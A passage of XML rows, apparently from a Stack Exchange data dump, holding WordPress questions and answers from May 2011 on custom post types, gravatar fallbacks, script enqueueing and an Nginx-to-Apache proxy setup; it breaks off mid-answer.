  <row Id="17900" PostTypeId="2" ParentId="17897" CreationDate="2011-05-21T17:40:13.047" Score="0" ViewCount="" Body="&lt;p&gt;If it is not display correctly and shows up as regular paragraph text. You would have to format the &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; property within your style sheet &lt;em&gt;if&lt;/em&gt; it is not yet styled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;code {font-family:lucida console}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5369" LastActivityDate="2011-05-21T17:40:13.047" />
  <row Id="17901" PostTypeId="2" ParentId="17896" CreationDate="2011-05-21T21:31:17.393" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When you develop a site on wordpress you may want to create posts/pages with the same name, something that wordpress does not allow by default.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is statement is not true. WordPress will allow you to set up pages with the &quot;directory&quot; structure that you specified right out of the box. I was just able to do this on my test installation. I created a page with slug &quot;en&quot; and then created a child page named &quot;taco&quot;. Next I created a page named &quot;fr&quot; and added a child to this page named &quot;taco&quot;. Both taco pages have the slug of &quot;taco&quot;. There may be an issue with the plugin that you are using. Have you tried this without the plugin installed?&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-21T21:31:17.393" CommentCount="3" />
  <row Id="17902" PostTypeId="2" ParentId="17897" CreationDate="2011-05-21T21:32:34.820" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;Syntax Highlighter Evolved&lt;/a&gt; is the best plugin to use IMHO.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-21T21:32:34.820" CommentCount="1" />
  <row Id="17903" PostTypeId="1" CreationDate="2011-05-21T22:00:54.640" Score="9" ViewCount="309" Body="&lt;p&gt;I'm going to be tackling my first plugin soon and I'm looking for plugins which you feel are of very high quality, under the hood. Stuff I can use as an example while I design the framework for my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Please include what makes it a great plugin.&lt;/p&gt;&#xA;" OwnerUserId="5569" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-21T23:29:48.763" LastActivityDate="2011-08-02T17:23:21.067" CommunityOwnedDate="2011-05-22T07:06:57.080" Title="What Plugins Demonstrate Great WP Plugin Development?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="7" CommentCount="5" FavoriteCount="6" />
  <row Id="17904" PostTypeId="1" CreationDate="2011-05-21T18:09:20.813" Score="0" ViewCount="52" Body="&lt;p&gt;I am trying to move a wordpress installation from Linux to Windows (for backup purposes, primarily). The problem is that there are a few images attached to different posts, where the file names differ only in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm looking for methods to update the posts after renaming the offending image files. Help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Won't hurt if something does the renaming at the same time, of course, but I'm mainly looking for ways to avoid editing serialized PHP objects directly in PhpMyAdmin...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there anything to help me avoid new instances of the problem? (That is, preventing the authors from adding files that will conflict with existing ones on case-insensitive systems).&lt;/p&gt;&#xA;" OwnerUserId="5570" LastEditorUserId="5570" LastEditorDisplayName="" LastEditDate="2011-05-21T22:53:19.717" LastActivityDate="2011-05-21T22:53:19.717" Title="Rename attached image file in Wordpress" Tags="&lt;media-library&gt;&lt;migration&gt;&lt;filesystem&gt;" />
  <row Id="17905" PostTypeId="1" CreationDate="2011-05-21T22:32:36.467" Score="4" ViewCount="131" Body="&lt;p&gt;I was thinking, what kind of issues might I face if I port a plugin from WPMU to WP or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I developed a plugin from scratch and wanted that plugin to be compatible with both, should I begin with WPMU or WP?&lt;/p&gt;&#xA;" OwnerUserId="5569" LastActivityDate="2011-07-04T04:34:21.783" Title="Plugin Development: WPMU or WP?" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="17906" PostTypeId="2" ParentId="17905" CreationDate="2011-05-21T22:37:29.133" Score="3" ViewCount="" Body="&lt;p&gt;There is no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://mu.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://mu.wordpress.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress MU is no longer a separate project; it is continuing development as part of the main WordPress branch under the name multisite or MS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While developing use a multi-site installation, because sometimes file handling and paths are a little bit tricky. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-21T22:37:29.133" CommentCount="1" />
  <row Id="17907" PostTypeId="1" CreationDate="2011-05-18T09:04:32.030" Score="1" ViewCount="133" Body="&lt;p&gt;I want to load a .js file only on a specific page in Wordpress 3.1.2&#xA;So I use in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method() {&#xA;if (is_page('myinfopage')){&#xA;   echo &quot;yeeessssssss&quot;;&#xA;   //wp_register_script('RGraph',get_stylesheet_directory_uri() . '/js/RGraph/RGraph.common.core.js' );&#xA;   }&#xA;}&#xA;add_action('init', 'my_init_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page is 100% 'myinfopage'. I tried it also with the pageID 24&#xA;if (is_page(24)){....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing happens. It's not included and noe 'yeeesssss' is displayed.&#xA;Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Joerg&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-22T02:47:34.710" LastActivityDate="2011-05-22T02:47:34.710" Title="wordpress is_page() problem" Tags="&lt;conditional-content&gt;" AnswerCount="2" />
  <row Id="17908" PostTypeId="2" ParentId="17907" CreationDate="2011-05-18T09:25:34.017" Score="0" ViewCount="" Body="&lt;p&gt;add_action just hooks a function call to an event. In order to originally call the action you should use do_action.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_action&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/do_action&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4452" LastActivityDate="2011-05-18T09:25:34.017" />
  <row Id="17909" PostTypeId="2" ParentId="17907" CreationDate="2011-05-21T23:10:02.917" Score="2" ViewCount="" Body="&lt;p&gt;You probably want to drop the conditional during init. You are just registering the script here, not enqueueing it. Once registered, you should be able to call the script later in the action sequence. Please try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_css() {&#xA;    if ( is_page( 'myinfopage' ) ) {&#xA;        wp_enqueue_script( 'RGraph' );&#xA;    }&#xA;}&#xA;add_action( 'wp_print_scripts', 'myplugin_css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-21T23:10:02.917" CommentCount="1" />
  <row Id="17910" PostTypeId="2" ParentId="17894" CreationDate="2011-05-21T23:41:50.750" Score="2" ViewCount="" Body="&lt;p&gt;Why not just hook into the &lt;code&gt;the_content&lt;/code&gt; filter hook, and append your code to &lt;code&gt;the_content()&lt;/code&gt;? e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_content_ad( $content ) {&#xA;    $myadcode = '&amp;lt;div class=&quot;someclas&quot;&amp;gt;';&#xA;    $myadcode .= 'some string with the ad code';&#xA;    $myadcode .= '&amp;lt;/div&amp;gt;';&#xA;&#xA;    $filteredcontent = $myadcode . $content;&#xA;&#xA;    return $filteredcontent;&#xA;}&#xA;add_filter( 'the_content', 'mytheme_content_ad' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to make the function a bit fancier than this, but this should convey the general idea.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-21T23:41:50.750" />
  <row Id="17911" PostTypeId="2" ParentId="17903" CreationDate="2011-05-21T23:59:45.073" Score="2" ViewCount="" Body="&lt;p&gt;You might want to take a look at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development&quot;&gt;&lt;strong&gt;Objective Best Practices for Plugin Development?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7472/framework-for-plugin-theme-options-panel&quot;&gt;&lt;strong&gt;framework for plugin/theme options panel?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not a specific plugin but many useful tips and guides.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-21T23:59:45.073" CommunityOwnedDate="2011-05-22T07:06:57.080" CommentCount="1" />
  <row Id="17912" PostTypeId="2" ParentId="12747" CreationDate="2011-05-22T01:38:44.113" Score="0" ViewCount="" Body="&lt;p&gt;I am assuming you mean deactivating by disabling. Deactivating all the plugins is not the good idea, it can have undesired effect on the site. Also I don't think there is any way to just deactivate the plugin with out firing the deactivation function. And some plugin do delete their options data upon deactivation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your only concern are those twitter, facebook and other type of buttons then yes removing the_content filters will do the job.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-22T01:38:44.113" />
  <row Id="17913" PostTypeId="2" ParentId="17863" CreationDate="2011-05-22T01:50:39.157" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;a) Create a custom post type and write panel for a menu item called &quot;My Stuff.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simple. The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt; should tell you everything you need to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here is another example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse_17863' );&#xA;&#xA;/**&#xA; * Creates a visible post type.&#xA; *&#xA; * Don’t forget to visit wp-admin/options-permalink.php once to refresh &#xA; * the rewrite rules!&#xA; *&#xA; * @return void&#xA; */&#xA;function wpse_17863()&#xA;{&#xA;    $labels = array (&#xA;        // Usually plural.&#xA;        'name'               =&amp;gt; 'Stuffies'&#xA;    ,   'singular_name'      =&amp;gt; 'Stuffy'&#xA;    ,   'add_new'            =&amp;gt; 'New Stuff'&#xA;    ,   'add_new_item'       =&amp;gt; 'Add New Stuff'&#xA;    ,   'edit_item'          =&amp;gt; 'Edit Stuffy'&#xA;    ,   'new_item'           =&amp;gt; 'New Stuffy'&#xA;    ,   'view_item'          =&amp;gt; 'View Stuffy'&#xA;    ,   'search_items'       =&amp;gt; 'Search Stuffies'&#xA;    ,   'not_found'          =&amp;gt; 'No Stuffies found'&#xA;    ,   'not_found_in_trash' =&amp;gt; 'No Stuffies found in Trash'&#xA;    ,   'parent_item_colon'  =&amp;gt; 'Parent Stuffy:'&#xA;    );&#xA;&#xA;    register_post_type(&#xA;        'stuffy'&#xA;    ,   array (&#xA;            // visible&#xA;            'public'        =&amp;gt; TRUE&#xA;            // Menu main name, usually plural&#xA;        ,   'label'         =&amp;gt; 'Stuffies'&#xA;            // All labels&#xA;        ,   'labels'        =&amp;gt; $labels&#xA;            // Menu position&#xA;            //   5 - below Posts&#xA;            //  10 - below Media&#xA;            //  15 - below Links&#xA;            //  20 - below Pages&#xA;            //  25 - below comments&#xA;            //  60 - below first separator&#xA;            //  65 - below Plugins&#xA;            //  70 - below Users&#xA;            //  75 - below Tools&#xA;            //  80 - below Settings&#xA;            // 100 - below second separator&#xA;        ,   'menu_position' =&amp;gt; 5&#xA;            // permalinks&#xA;        ,   'rewrite' =&amp;gt; array ( 'slug' =&amp;gt; 'stuff' )&#xA;            // Create a default archive at /stuff/&#xA;        ,   'has_archive'   =&amp;gt; TRUE&#xA;            // Allow child pages.&#xA;        ,   'hierarchical'  =&amp;gt; TRUE&#xA;        // Add it to custom menus&#xA;        ,   'show_in_nav_menus'   =&amp;gt; TRUE&#xA;        // Components of the editor.&#xA;        ,   'supports' =&amp;gt; array (&#xA;                'editor'&#xA;            ,   'excerpt' &#xA;            ,   'page-attributes'&#xA;            ,   'thumbnail'&#xA;            ,   'title'&#xA;             )&#xA;        // We use the built-in taxonomies too.&#xA;        ,   'taxonomies'          =&amp;gt; array ( 'category', 'post_tag' )&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;b) &quot;My Stuff&quot; will behave like a category -- but the content will not appear in the main blog. It will only appear under &quot;My Stuff.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don’t understand this part. A custom post type may &lt;strong&gt;use&lt;/strong&gt; a taxonomy – I added categories and tags in my example for a demonstration – but it isn’t one. You can use parent-child relationships tough like with pages.&lt;br&gt;&#xA;I you clarify this point in your question I may be able to update my answer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;None of the scattered tutorials available on the topic clearly explain how to display custom post type content anywhere other than on a page or through the loop.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The parameter &lt;code&gt;'has_archive'&lt;/code&gt; is &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13818&quot; rel=&quot;nofollow&quot; title=&quot;Trac ticket 13818&quot;&gt;rather new&lt;/a&gt;. Older tutorials may not mention it.&lt;br&gt;&#xA;To link to your new archives in themes or plugins use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_type_archive_link&quot; rel=&quot;nofollow&quot; title=&quot;Codex reference&quot;&gt;&lt;code&gt;get_post_type_archive_link( 'stuffy' )&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-22T01:50:39.157" CommentCount="4" />
  <row Id="17914" PostTypeId="1" AcceptedAnswerId="17920" CreationDate="2011-05-22T02:33:25.057" Score="2" ViewCount="139" Body="&lt;p&gt;Ok so i have added a custom field inside of the WordPress edit profile field where a contributor and above can add a custom image if they do not use gravatar. Now i am trying to write a if else statement and this is what i have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;    $hasauthorpic = (the_author_meta('author_pic'));&#xA;    if (function_exists('get_avatar')) { echo get_avatar( get_the_author_email(), '80' );}&#xA;    else {echo '?&amp;gt;&amp;lt;img class=&quot;avatar avatar-80 photo&quot;&amp;gt;&amp;lt;? $hasauthorpic ?&amp;gt;&amp;lt;/img&amp;gt;&amp;lt;? ';}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i want to try and do is if the user does have a gravatar use it unless they have specified a link to there profile pic. Or have the author_pic become higher priority even if user has gravatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;$authorpic = the_author_meta('author_pic');&#xA;$gravatar = get_avatar( get_the_author_email(), '80' );&#xA;    if ($authorpic); &#xA;    elseif (function_exists('get_avatar')) &#xA;            echo ($gravatar); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OK so i tried the code below and that did not quite work. Maybe because i am putting this into a single-whatever.php file. The above is what i have managed to get but the only problem is when it shows it shows both the avatar and author pic link so i know i still need to add the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags but that will be easy later. The one thing i did read is that your cant put a &lt;code&gt;true&lt;/code&gt; on &lt;code&gt;the_author_meta&lt;/code&gt; so i need help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can come up with a code to hook into the gravatar stuff then ill take it. In other words if you have a code that i can place in my functions.php file thatll work to i and i would prefer that. the field name is &lt;code&gt;author_pic&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; This is my final write up with the provided code from below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$authorpic = get_the_author_meta('author_pic');&#xA;$imgtagbeg = ('&amp;lt;img style=&quot;height:80px; width:80px&quot; src=&quot;');&#xA;$imgtagend = ('&quot;/&amp;gt;');&#xA;if ($authorpic)&#xA;    echo $imgtagbeg,$authorpic,$imgtagend; &#xA;else&#xA;    echo get_avatar( get_the_author_email(), '80' ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-23T02:40:12.830" LastActivityDate="2011-05-30T21:31:46.687" Title="If Else Gravatar Author Picture" Tags="&lt;author&gt;&lt;usermeta&gt;&lt;gravatar&gt;" AnswerCount="4" />
  <row Id="17915" PostTypeId="2" ParentId="17914" CreationDate="2011-05-22T02:44:54.040" Score="2" ViewCount="" Body="&lt;p&gt;Your &lt;code&gt;if&lt;/code&gt; will always return true and bypass your custom author pic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the if on the custom field.  If it returns true then add a filter to get_avatar that uses the custom field author pic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( the_author_meta('author_pic') ) {&#xA;add_filter( 'get_avatar', 'your_custom_author_pic_function' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-22T02:44:54.040" CommentCount="5" />
  <row Id="17916" PostTypeId="1" AcceptedAnswerId="17917" CreationDate="2011-05-22T03:11:11.193" Score="3" ViewCount="128" Body="&lt;p&gt;Is there any plugin where users can comment with Facebook or Twitter or OpenID...&lt;/p&gt;&#xA;" OwnerUserId="1741" LastActivityDate="2011-05-22T07:02:08.333" Title="A plugin where users can comment with Facebook or Twitter or OpenID" Tags="&lt;comments&gt;&lt;facebook&gt;&lt;twitter&gt;&lt;openid&gt;" AnswerCount="2" />
  <row Id="17917" PostTypeId="2" ParentId="17916" CreationDate="2011-05-22T03:24:05.103" Score="3" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://disqus.com/&quot; rel=&quot;nofollow&quot;&gt;disqus&lt;/a&gt; on my site and it works quite well.&lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2011-05-22T03:24:05.103" CommentCount="1" />
  <row Id="17918" PostTypeId="1" CreationDate="2011-05-22T03:26:08.057" Score="0" ViewCount="89" Body="&lt;p&gt;I have a series of pages for individual products. I'd like to page between them using a navigation that sits outside of the loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;               |              |&#xA;( &amp;lt;= prev )    |    &amp;lt;loop&amp;gt;    |    ( next =&amp;gt; )&#xA;               |              |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;code&gt;posts_nav_link&lt;/code&gt;. I've tried &lt;code&gt;is_paged&lt;/code&gt; conditionals within the loop. I've tried everything I can think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to accomplish this without hacking the hell out of WP?&lt;/p&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-07-21T13:24:35.397" Title="Page Navigation Outside the Loop" Tags="&lt;loop&gt;&lt;navigation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="17919" PostTypeId="2" ParentId="17889" CreationDate="2011-05-22T04:54:19.213" Score="1" ViewCount="" Body="&lt;p&gt;No parent necessary: the difference between a not-working widget and a working widget was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text1 = apply_filters( 'widget_text1', $instance['text1'], $instance );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vs: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text1 = apply_filters( 'widget_text1', empty($instance['text1']) ? '' : $instance['text1'], $instance, $this-&amp;gt;id_base);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realized putting multiple Random Text widgets on the same page, their titles worked, but their text content did not. So I copied the properties (empty($instance...etc.) from the title to each of the text instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The widgets themselves were instantiated, but the text areas weren't. At least, that's what I think was happening. I don't know enough PHP to know for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody has insight as to why the second version works and the first doesn't, I'd be happy to hear it. :)&lt;/p&gt;&#xA;" OwnerUserId="5566" LastActivityDate="2011-05-22T04:54:19.213" />
  <row Id="17920" PostTypeId="2" ParentId="17914" CreationDate="2011-05-22T05:32:45.957" Score="2" ViewCount="" Body="&lt;p&gt;You need to use get_the_author_meta() instead of the_author_meta()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$authorpic = get_the_author_meta('author_pic');&#xA;if ($authorpic)&#xA;    echo $authorpic; &#xA;else&#xA;    echo get_avatar( get_the_author_email(), '80' ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2011-05-22T05:32:45.957" CommentCount="3" />
  <row Id="17921" PostTypeId="2" ParentId="17914" CreationDate="2011-05-22T06:28:12.703" Score="2" ViewCount="" Body="&lt;p&gt;There is a sweet new plugin I recently discovered called &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-local-avatars/&quot; rel=&quot;nofollow&quot;&gt;Simple Local Avatars&lt;/a&gt; that will do exactly what you ask. Check it out!&lt;/p&gt;&#xA;" OwnerUserId="5573" LastActivityDate="2011-05-22T06:28:12.703" CommentCount="1" />
  <row Id="17922" PostTypeId="2" ParentId="3466" CreationDate="2011-05-22T06:28:34.750" Score="1" ViewCount="" Body="&lt;p&gt;Are you ready to use WordPress network ? If yes, the new release of xili-language premium can answer to your question. It is working well and is yet dedicaced to pro webmasters.&lt;/p&gt;&#xA;" OwnerUserId="5574" LastActivityDate="2011-05-22T06:28:34.750" CommentCount="1" />
  <row Id="17923" PostTypeId="2" ParentId="17117" CreationDate="2011-05-22T06:37:58.903" Score="1" ViewCount="" Body="&lt;p&gt;I highly recommend you these (free) three plugins: &quot;More Types&quot;, &quot;More Taxonomies&quot; and &quot;More Fields&quot; plugins, each one for creating custom post types, custom taxonomies and custom fields, respectively. Just clicking, draging and dropping, no code needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download here: &lt;a href=&quot;http://more-plugins.se/&quot; rel=&quot;nofollow&quot;&gt;http://more-plugins.se/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5575" LastActivityDate="2011-05-22T06:37:58.903" CommentCount="2" />
  <row Id="17924" PostTypeId="1" CreationDate="2011-05-22T06:55:53.223" Score="3" ViewCount="221" Body="&lt;p&gt;I generally use Nginx to serve static content on my server, with Apache handling PHP content using PHP-FPM. However, I'm not able to get a Wordpress blog homepage to display and I've tried all the configuration examples I can find on the web without much luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my Nginx config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;&#xA;        listen   XXX.XXX.XXX.XXX:80;&#xA;        server_name wptest.mydomain.com;&#xA;&#xA;    access_log  /var/log/nginx/testblog_access.log combined;&#xA;    error_log /var/log/nginx/testblog-error.log;&#xA;&#xA;    proxy_set_header X-Real-IP  $remote_addr;&#xA;    proxy_set_header Host $host;&#xA;    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;&#xA;    location / {&#xA;                    proxy_pass http://127.0.0.1:80;&#xA;    }&#xA;&#xA;    location = /50x.html {&#xA;            root   /var/www/nginx-default;&#xA;    }&#xA;&#xA;    # No access to .htaccess files.&#xA;    location ~ /\.ht {&#xA;            deny  all;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Apache config is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost 127.0.0.1&amp;gt;&#xA;    ServerName wptest.mydomain.com&#xA;    ServerAdmin webmaster@mydomain.com&#xA;    LogLevel warn&#xA;    ErrorLog /var/log/apache2/testblog-error.log&#xA;    CustomLog /var/log/apache2/testblog-access.log combined&#xA;&#xA;    Options +FollowSymLinks +ExecCGI -Indexes -MultiViews&#xA;    AddHandler php-fastcgi .php&#xA;    Action php-fastcgi /wordpress&#xA;    Alias /wordpress /var/www/wordpress&#xA;    FastCgiExternalServer /var/www/wordpress -host 127.0.0.1:9000&#xA;    RewriteEngine on&#xA;&#xA;    DocumentRoot /var/www/wordpress&#xA;    DirectoryIndex index.php&#xA;&#xA;                    &amp;lt;Directory /&amp;gt;&#xA;                            DirectoryIndex index.php&#xA;                            AllowOverride All&#xA;                            Options +FollowSymLinks +ExecCGI +SymLinksIfOwnerMatch&#xA;                    &amp;lt;/Directory&amp;gt;&#xA;&#xA;                    &amp;lt;Directory /var/www/wordpress&amp;gt;&#xA;                            AllowOverride All&#xA;                            Options +FollowSymLinks +ExecCGI +SymLinksIfOwnerMatch&#xA;                    &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not able to view &quot;http://wptest.mydomain.com/&quot; or &quot;http://wptest.mydomain.com/wp-admin&quot; but &quot;http://wptest.mydomain.com/wp-login.php&quot; does work. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version information: &#xA;+ OS: Debian 5/Lenny&#xA;+ Apache: 2.2.9&#xA;+ Nginx: 0.7.65&#xA;+ Wordpress: 3.1.2&lt;/p&gt;&#xA;" OwnerUserId="5572" LastActivityDate="2011-05-24T05:39:40.380" Title="404 error on homepage when using Nginx proxying to Apache" Tags="&lt;404-error&gt;&lt;apache&gt;&lt;nginx&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="17925" PostTypeId="2" ParentId="17916" CreationDate="2011-05-22T07:02:08.333" Score="2" ViewCount="" Body="&lt;p&gt;Have you tried &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Twitter Connect&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-22T07:02:08.333" />
  <row Id="17926" PostTypeId="2" ParentId="11222" CreationDate="2011-05-22T07:07:08.630" Score="2" ViewCount="" Body="&lt;p&gt;This will not remove it from your markup &lt;em&gt;per se&lt;/em&gt;, but you can easily hide the WP 3.1 admin bar link (both visually and from screen-readers) by adding the following line to your theme's CSS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;li#wp-admin-bar-comments { display: none; visibility: hidden; }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3665" LastActivityDate="2011-05-22T07:07:08.630" CommentCount="4" />
  <row Id="17927" PostTypeId="2" ParentId="17924" CreationDate="2011-05-22T08:48:49.000" Score="2" ViewCount="" Body="&lt;p&gt;Both servers are listening to the same port.  You have Nginx set to listen to 80 and nothing is set for Apache unless it's in your ports.conf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your also proxy passing to Apache port 80 in your Nginx conf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Nginx conf change&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;proxy_pass &lt;a href=&quot;http://127.0.0.1:80&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1:80&lt;/a&gt;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;proxy_pass    &lt;a href=&quot;http://127.0.0.1:9000&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1:9000&lt;/a&gt;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change &lt;code&gt;listen  XXX.XXX.XXX.XXX:80;&lt;/code&gt; to &lt;code&gt;listen 80;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your Vhosts &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NameVirtualHost *:9000&#xA;Listen 9000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above the &lt;code&gt;&amp;lt;VirtualHost&amp;gt;&lt;/code&gt; tag or in the ports.conf file (If you have other vhost that don't use Nginx add it to the top of 